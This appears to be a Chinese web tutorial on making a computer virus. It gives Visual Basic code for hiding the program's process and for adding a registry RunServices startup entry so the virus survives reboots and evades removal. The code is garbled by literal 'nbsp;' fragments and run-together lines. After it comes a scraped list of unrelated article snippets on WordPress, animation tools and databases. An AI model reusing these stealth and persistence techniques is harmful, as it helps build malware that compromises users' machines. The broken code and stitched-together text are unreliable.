对于接触计算机的朋友们来说,病毒已经不在是一个陌生的东西。病毒一般都具有传播、隐藏、破坏等能力。下面由学习啦小编给你做出详细的电脑病毒制作方法介绍!希望对你有帮助!

电脑病毒制作方法介绍:

所以自从第一个病毒问世以来,它便被人们视为一种神秘的东西。但是,我们要知道。病毒也是程序,也是由人写出来的。

所以,病毒并不是什么高不可攀的东西。现在,让我们了解一下VB制作病毒的原理。首先,病毒是有隐藏性的。如何来实现病毒的隐藏是很多年来的热点话题。我们先不接触什么线程插入技术。

我们要实行自我隐藏,就要用到API函数。其代码如下:Publicnbsp;Declarenbsp;Functionnbsp;GetCurrentProcessidnbsp;Libnbsp;“kernel32“nbsp;()nbsp;Asnbsp;LongPublicnbsp;Declarenbsp;Functionnbsp;RegisterServiceProcessnbsp;Libnbsp;“kernel32“nbsp;(ByValnbsp;dwProcessIDnbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long)Publicnbsp;Constnbsp;RSP_SIMPLE_SERVICEnbsp;=nbsp;1Publicnbsp;Constnbsp;RSP_UNREGISTER_SERVICEnbsp;=nbsp;0Publicnbsp;Subnbsp;MakeMeService()Dimnbsp;pidnbsp;Asnbsp;LongDimnbsp;reserynbsp;Asnbsp;Longpidnbsp;=nbsp;GetCurrentProcessid()regservnbsp;=nbsp;RegisterServiceProcess(pid,nbsp;RSP_SIMPLE_SERVICE)Endnbsp;Sub这样就实现了自我隐藏。还有别的什么App.Titlenbsp;=nbsp;““和App.TaskVisiblenbsp;=nbsp;False都可以用于VB病毒的隐藏。

病毒光会隐藏还不行,还要有常驻内存的能力。

说通俗点,计算机关闭病毒也就跟着死去,而计算机重启,病毒也要跟这复活。

所以,我们接下来的任务就是:实现病毒的开机自启。了解病毒的朋友会知道,病毒一般是利用在注册表中插入相应键值来实现开机自启的。

所以,我们就要利用编程来实现着一功能。读写注册表要用到API函数,代码:Privatenbsp;Declarenbsp;Functionnbsp;RegCreateKeynbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegCreateKeyA“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpSubKeynbsp;Asnbsp;String,nbsp;phkResultnbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegCloseKeynbsp;Libnbsp;“advapi32.dll“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long)nbsp;Asnbsp;LongPrivatenbsp;Declarenbsp;Functionnbsp;RegSetValueExnbsp;Libnbsp;“advapi32.dll“nbsp;Aliasnbsp;“RegSetValueExA“nbsp;(ByValnbsp;hKeynbsp;Asnbsp;Long,nbsp;ByValnbsp;lpvalueNamenbsp;Asnbsp;String,nbsp;ByValnbsp;Reservednbsp;Asnbsp;Long,nbsp;ByValnbsp;dwTypenbsp;Asnbsp;Long,nbsp;lpDatanbsp;Asnbsp;Any,nbsp;ByValnbsp;cbDatanbsp;Asnbsp;Long)nbsp;Asnbsp;Long上述是API声明。

病毒的开机自启就是在RUN下建立一个启动项,代码:Dimnbsp;hKeynbsp;Asnbsp;LongDimnbsp;ccLetnbsp;ccnbsp;=nbsp;Len(“病毒的绝对路径“)RegCreateKeynbsp;HKEY_LOCAL_MACHINE,nbsp;“SoftwareMicrosoftWindowsCurrentVersionRunservices“,nbsp;hKeyRegSetValueExnbsp;hKey,nbsp;“键名“,nbsp;0,nbsp;REG_SZ,nbsp;ByValnbsp;“病毒的绝对路径“,nbsp;ccRegCloseKeynbsp;hKey以上代码执行后会在注册表中加入一个病毒的启动项。光利用开机自启来长驻内存也太容易被杀了。所以,我们还要想尽一切办法来让病毒启动。

看了“如何制作电脑病毒”文章的还看了:

计算机病毒制作教程,如何制作电脑病毒方法相关推荐

  1. wordpress主题制作教程(十):制作文章单页模板single.php

    wordpress主题制作教程(十):制作文章单页模板single.php 您现在的位置:阿树工作室->wordpress主题教程->基础教程  2012.7.25  浏览数:39,982 ...

  2. ios开发 方形到圆的动画_3Blue1Brown 动画制作教程(1)--制作第一个自己的动画

    制作第一个自己的动画 前一篇详细介绍了 3Blue1Brown 的动画引擎在 Windows 10 64 位系统上,基于 Anaconda的配置方法,并且详细描述了在配置 3Blue1Brown 提供 ...

  3. hge引擎配置登录器教程_3Blue1Brown 动画制作教程(1)--制作第一个自己的动画

    制作第一个自己的动画 前一篇详细介绍了 3Blue1Brown 的动画引擎在 Windows 10 64 位系统上,基于 Anaconda的配置方法,并且详细描述了在配置 3Blue1Brown 提供 ...

  4. 表白php制作教程视频,制作表白视频的软件 怎么制作出好看的表白小视频

    今天的制作表白视频装逼视频软件是一款非常有趣且简单好用的视频制作软件,包括装逼.表白.恶搞,节日等等多种模板视频,与此同时它的视频剪辑合并功能也没有放下,也是同样的出彩.告白小视频无非要的就是那个气氛 ...

  5. php做一个文章页面,wordpress主题制作教程(十):制作文章单页模板single.php

    在前一篇教程中我们已经只做好了index.php,这个文件可以当首页使用,也可以当分类.标签等归档页使用,这篇教程我们来制作一下文章的具体页面-文章单页模板,如果我们没有但页模板single.php, ...

  6. mysql工作表格制作教程_Access制作复杂报表

    何制作复杂报表利用excel输出复杂报表 在读这篇文章以前首先要提醒大家,Access 本身的报表也具有很强的实用性和强大的功能,只有当你发掘了其本身全部的功能却仍不能满足你对报表的特殊要求时才请使用 ...

  7. WordPress插件制作教程概述

    接下来的一段时间里,开始为大家讲解WordPress插件制作系列教程,这篇主要是对WordPress插件的一些介绍和说明,还有一些我们需要注意的地方,以及需要掌握的知识. WordPress插件允许你 ...

  8. 博饼程序制作教程 C#

    博饼程序制作教程 任务分析 制作一个博饼程序,模拟日常博饼中随机掷出六个骰子,并根据骰子的点数判断来判断胜负. 一.思路解析 按照此思路,我们开始进行博饼程序的编写 二.界面设计 2.1骰子的制作 思 ...

  9. 计算机体检查杀病毒,如何去深度查杀电脑病毒

    当我们的电脑中了病毒时!想要深度查杀该怎么办呢?下面由学习啦小编给你做出详细的深度查杀电脑病毒方法介绍!希望对你有帮助! 深度查杀电脑病毒方法一: 垃圾清理软件建议安装金山卫士,这个能很好的及时的帮你 ...

  10. 怎么把照片做成计算机主题,Win7主题制作教程 电脑主题制作图文方法

    修改Windows7主题文件的具体步骤: 一.修改.theme主题文件 1.到365主题下载"天涯明月刀主题后"进行安装,然后我们在C:\Windows\Resources\The ...

最新文章

  1. python如何计算整数和_Python中整数和浮点数
  2. 攻防世界-crypto-OldDriver(RSA低加密指数广播攻击) 方法总结
  3. 数据挖掘:分享两个Pandas使用小陷阱
  4. jQuery表单校验jquery.validate.js的使用
  5. [TIPS]数据库 应用软件 MSSMS
  6. mybatis笔记3 一些原理的理解
  7. Java_Decimal
  8. DMA内存申请--dma_alloc_coherent 及 寄存器与内存【转】
  9. Establishing a tunnel via proxy server failed;
  10. c语言智能小车项目的感想,智能小车实训报告
  11. linux安全模块学习之LSM的介绍实现
  12. U盘文件变成exe后被杀毒消失
  13. 重新定义“车规级”激光雷达
  14. html的浮动跟标准流,网页布局的 标准流 浮动流 与 定位流
  15. 多元有序logistic回归分析_多元Logistic_回归分析解析.ppt
  16. cnpm和npm使用,遇到的问题及解决方法
  17. 最新版一键生成小程序系统 前段源码 小程序开发者必备
  18. ajax跨域请求(CORS实现)
  19. RHCSA之基本命令_统计文件内容篇(wc)
  20. 企业微信JS-SDK

热门文章

  1. 机器学习标准教科书PRML的Python实现:最佳读书伴侣
  2. PRML第三章3.3贝叶斯线性回归
  3. 清华大学-操作系统实验-Lab1
  4. visa虚拟卡生成器_虚拟信用卡,怎么用才能满足多元化消费呢?这样的账单才算优质...
  5. MySQL 入门常用命令大全
  6. 用于Linux系统/网络管理的nmap命令的实例
  7. 智慧树工业机器人测试答案_知到智慧树玩转工业机器人答案章节单元测试答案...
  8. 公式编辑器mathtype中插入空格与公式编号右对齐
  9. 国内企业“数字化转型”案例!
  10. 《Kafka权威指南》读书笔记1 初始Kafka